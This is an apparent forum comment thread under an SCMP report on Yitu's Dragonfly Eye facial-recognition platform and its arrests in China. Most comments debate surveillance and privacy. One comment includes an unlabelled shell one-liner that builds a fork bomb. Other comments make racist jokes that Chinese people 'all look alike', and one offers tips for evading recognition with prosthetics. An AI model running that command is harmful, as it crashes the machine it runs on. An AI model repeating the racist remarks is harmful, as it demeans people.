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Facial Recognition Algorithms -- Plus 1.8 Billion Photos -- Leads to 567 Arrests in China (scmp.com)
"Our machines can very easily recognise you among at least 2 billion people in a matter of seconds," says the chief executive and co-founder of Yitu. The South China Morning Post reports:
Yitu's Dragonfly Eye generic portrait platform already has 1.8 billion photographs to work with: those logged in the national database and you, if you have visited China recently... 320 million of the photos have come from China's borders, including ports and airports, where pictures are taken of everyone who enters and leaves the country. According to Yitu, its platform is also in service with more than 20 provincial public security departments, and is used as part of more than 150 municipal public security systems across the country, and Dragonfly Eye has already proved its worth. On its very first day of operation on the Shanghai Metro, in January, the system identified a wanted man when he entered a station. After matching his face against the database, Dragonfly Eye sent his photo to a policeman, who made an arrest. In the following three months, 567 suspected lawbreakers were caught on the city's underground network. The system has also been hooked up to security cameras at various events; at the Qingdao International Beer Festival, for example, 22 wanted people were apprehended.
Whole cities in which the algorithms are working say they have seen a decrease in crime. According to Yitu, which says it gets its figures directly from the local authorities, since the system has been implemented, pickpocketing on Xiamen's city buses has fallen by 30 per cent; 500 criminal cases have been resolved by AI in Suzhou since June 2015; and police arrested nine suspects identified by algorithms during the 2016 G20 summit in Hangzhou. Dragonfly Eye has even identified the skull of a victim five years after his murder, in Zhejiang province.
The company's CEO says it's impossible for police to patrol large cities like Shanghai (population: 24,000,000) without using technology.
And one Chinese bank is already testing facial-recognition algorithms hoping to develop ATMs that let customers withdraw money just by showing their faces.
Whole cities in which the algorithms are working say they have seen a decrease in crime. According to Yitu, which says it gets its figures directly from the local authorities, since the system has been implemented, pickpocketing on Xiamen's city buses has fallen by 30 per cent; 500 criminal cases have been resolved by AI in Suzhou since June 2015; and police arrested nine suspects identified by algorithms during the 2016 G20 summit in Hangzhou. Dragonfly Eye has even identified the skull of a victim five years after his murder, in Zhejiang province.
The company's CEO says it's impossible for police to patrol large cities like Shanghai (population: 24,000,000) without using technology.
And one Chinese bank is already testing facial-recognition algorithms hoping to develop ATMs that let customers withdraw money just by showing their faces.
This is so 'Person of Interest'.
Laws are rules for the court, but merely a bottom bar to hit for life. Think beyond laws in your actions always.
I think we all have an interest in that figure for the upcoming debates on implementing 1984 as an operations manual in this country.
The end is near.
You are being ripped off every second of every day, so that advertisers can help rip you off even more tomorrow.
DON'T let your picture ever hit the internet.
The more I read about such technology, the more I hope for the collapse of civilization in a series of EMPs. Setting back tech 50-60 years would harm a lot of people, but it will also delay the development of intrusive surveillance tech that oppressive governments can use to abuse and control their subjects. How long before this is used to ID demonstrators rather than pickpockets?
Chinese tested, Big Brother approved! Double-plus good!
Beware of Sales Reps bearing gifts.
putting on a mask to rob the bank is going to be a thing again?
surely cheaper and more accurate than deploying lots of people, this makes total sense and we should evaluate it in the US
Ignorance is Strength
How long until this gets implemented in the US, Britain, Germany, and so on? Many leaders of these countries would just love this kind of system to cement their own power.
Obligatory: 1984 was supposed to be a warning, not a guide.
just for your safety citizen!
until it is implemented in "other countries" - like the USA - just for your security. Running around with a face mask will make you even more suspect.
Looks like a high %ige of current population will support it as well - fear for crack-pots blowing up surroundings etc. and the bad people (rapists, criminals, gang members) coming into this country...
It all works out just fine.
The downward spiral began in a place called Qingdao in China, and was written about with a seemingly innocuous post about some new technological wonder called Dragonfly Eye, and the authorities were much impressed in being able to round up the low-hanging fruit e.g. pickpockets, petty thieves in subways and small retailers. When it was picked up by an enterprising individual with deep pockets, he hired the best and brightest tech to work on various improvements, and enhancing its capabilities further, even trimming the name to Dragon Eye.
When it was hooked up to the cloud, it was renamed Skynet
And one Chinese bank is already testing facial-recognition algorithms hoping to develop ATMs that let customers withdraw money just by showing their faces.
But...but...what if I'm ugly?
This is really impressive considering they all look alike.
This has already been used in the US. There was a big brouhaha about it back in 2002 after it was used at the SuperBowl (abcnews.go.com/Technology/story?id=98871), but everyone has forgotten about it since. And the algorithms have gotten better. But still it was old news, so no one pays attention any more.
Only 567 arrest's? I'm a surprise it's not more they all look's the same. LOL idf all Chiner got arreste'd.
It turns out Apple's face recognition can't tell Chinese people apart
https://www.theinquirer.net/in...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
One thing is using face recognition under well-delimited conditions like what is being described at the top of the linked article (you look at a camera very closely to enter the building); but a completely different story is recognising random people in random situations with random training information (or have the Chinese authorities hundreds of pictures of every person from different angles?). Perhaps they aren't completely lying, but the real performance of this system is likely to be different than what the article and these numbers seem to indicate. It might be somehow helpful, but lots of mis-recognitions and relevant human intervention are likely to happen.
DISCLAIMER: I am not specially concerned about (face-recognition) tracking and privacy, although I see all this as potential threads to citizens and expect legislations to gradually restrict all the actions on these lines.
DISCLAIMER 2: I am not Chinese, don't live in China, the Chinese government shouldn't have any information about me and I look quite different than most of Chinese people. In fact, that system shouldn't have too many troubles to identify me for these and other reasons.
Custom Solvers 2.0 = Alvaro Carballo Garcia = varocarbas.
...ten seconds to comply.
Probably pictures of people passing by or visiting their embassies around the world
Facebook has way more than 1,8 Billion photos that many people are more than happy to tag with identities. I checked and something like 300 million photos a day. Of course they're not all people, but I'd guess there are plenty of them.
Odds are high that the photos, EXIF information and tags/names have probably already been sold to "various agencies"
Except that China also views the Dalai Lama, that famous artist dude who designed the Bird's Nest, and every political dissident, and all those Christian sect members, as criminals too.
London is the most recorded population in the world and has been for several years.
The proliferation of cameras has been going on in this country too, don't fool yourselves. All in the name of safety ofcourse.
... photos don't create criminals.
BOLO is a thing whether it works at a snail's pace or the speed of light
Facial recognition is not the same as fingerprinting or DNA, but it's pretty damned close.
It little behooves the best of us to comment on the rest of us.
My concern is that technology like this is being gradually pushed with no defined limits or lines. People often rhetort with "Oh this technology has been in place for a few years already" and that may be true. But where do we draw the lines for how far we want to be watched and monitored, even if they claim it's for the common good? Being technologically illiterate is becoming more of a liability as society becomes more digitalized, where my neighbor Bob decides to install increasingly intrusive technology that spies not only on him but me and the other neighbors as well because he doesn't understand the potential risks.
Letting technogical progress be dictated by a small few is one of the biggest long term dangers to society at large.
If you have anything on LinkedIn, it's quite possible the Chinese government has been collecting information about you, even if, as you say, " I am not Chinese, don't live in China, the Chinese government shouldn't have any information about me and I look quite different than most of Chinese people.".
They're doing it in Germany, could be lots of other countries too, for all we know.
Panama and many south american countries are already using biometrics at their own customs. The US has it as an opt out system that 'promises to only retain your airport photos for 2 weeks', and most of the rest of the world outside a few small poor island nations and some parts of africa/asia are already implementing the capture side of this, even if they are not doing the processing side (hahaha, of course they are, just outsourced to someone like the US or China...)
If you really care about freedom or liberty now is the time to GTFO and start your own country. This is the last stand for privacy, freedom, and any level of anonymity, anywhere in the world. If you aren't willing to do it now, then you are just forging your own shackles with your tacit support.
Combined with virtual currency's proven trial run of blockchains, no one will be able to get rich enough to compete with the old/current/future technocrat/aristocrat/oligarch class either, as they implement blockchains and digital currency to ensure they know where EVERY denomination of currency is going, worldwide.
2017-1984=33. It just arrived in a different place and at a different time than Orwell envisioned.
Organization? You must be joking..
What you need is an fx artist and some stage prosthetics.
IE fake nose, cheek/face pads, and some well applied concealer to keep it from being obvious.
Won't work in the summer or anywhere too humid, but that is the way not to raise flags on facial identification without obviously wearing a mask. And soon enough it will be the only way to travel discreetly (assuming you don't keep a cell phone with you that can be used to identify you, either immediately, because you left it powered on, or later because you powered it up and forgot you were in an 'assumed' identity at the time.)
It might be worth building up networks of fx artists/costumers/friends to help each other stay anonymous as the future becomes more dystopian.
the hype. More likely they are lying or they just grab someone and beat a confession out of him.
All those 567 arrested people will be working in forced labor camps making holiday gifts that arrive on walmarts shelves just in time for the holidays. This is what you have to look forward to if you live and china and write a message on Webo or Baidu about how the government is corrupt, spies on people and sucks because of it. (It's true, isn't it?)
There was a movie a few years back detailing the history of East Germany and they had some people go thru the archives of what had been collected about them before the reunification. The chinese have just discovered a much more efficient way to collect data. It is already in the US to some extent with toll tags keeping track of many peoples movements and of course lots of cameras. I thought the US cameras were only reviewed on demand. I'm sure we will buy this from china and keep track of people like we do cars in no time.
... as quickly and efficiently.
Let's face it: The times when totalitarian regimes could be toppled by "the people" are over. The technology allowing even small groups in power to suppress all kinds of opposition is already available, it is getting "better" and more broadly deployed by the month, and it is there to stay.
"Freedom" had its brief stint in human history, but in a few decades from now nobody will remember what it was. And given how parents today raise children used to permanent observation, the grownups by then will probably never have experienced freedom first and, and won't know what they are missing.
Let's face it: The times when totalitarian regimes could be toppled by "the people" are over.
No, it just raises the threshold of rage required to do so. There's a point where people, including the police, stop giving a shit and turn out into the streets. Who will enforce the dictator's will if the police aren't even willing to and everything stops?
It happened in Romania in 1989 -- Ceausescu got an unexpected Christmas present of lead and the people got freedom for Christmas.
If I compare 25 people's birthdays to one another, I have a 50% chance of getting a match. That's because I compare one person with 25 others, another with 24, another with 23, and so on. That's with a 1:365 chance of sucess on a single trial (0.27%).
Now try this with a few thousand "people of interest" out of 25 billion.
--dave
davecb@spamcop.net
"Freedom" had its brief stint in human history, but in a few decades from now nobody will remember what it was. And given how parents today raise children used to permanent observation, the grownups by then will probably never have experienced freedom first and, and won't know what they are missing.
TV is preparing kids for this future. Ever seen a show called "Special Agent Oso"? They have surveillance cameras in drones that look like ladybugs watching the children.
Who will enforce the dictator's will if the police aren't even willing to and everything stops?
If necessary, automated drones and (soon to become mandatory) implants will easily discipline (or eliminate) any member of the public service that dares to deviate from his supervisors will.
And attempts to conspire (between the usually many distinct services a totalitarian regime sets up in order to make sure any one of them has to fear the others) will be detected before anyone could even convince a hand full of people to join his cause.
But the fear of not being able to sustain a life if one's "social credit score" falls too low might even make the above unnecessary.
Random guy: please leave me... I am not that criminal
Police: Our AI system can't be wrong...
(another innocent gets arrested)
Smart people stopped with only half that number of fines. Really smart ones didn't even get fined, they just heard about how stupid you were and didn't jaywalk.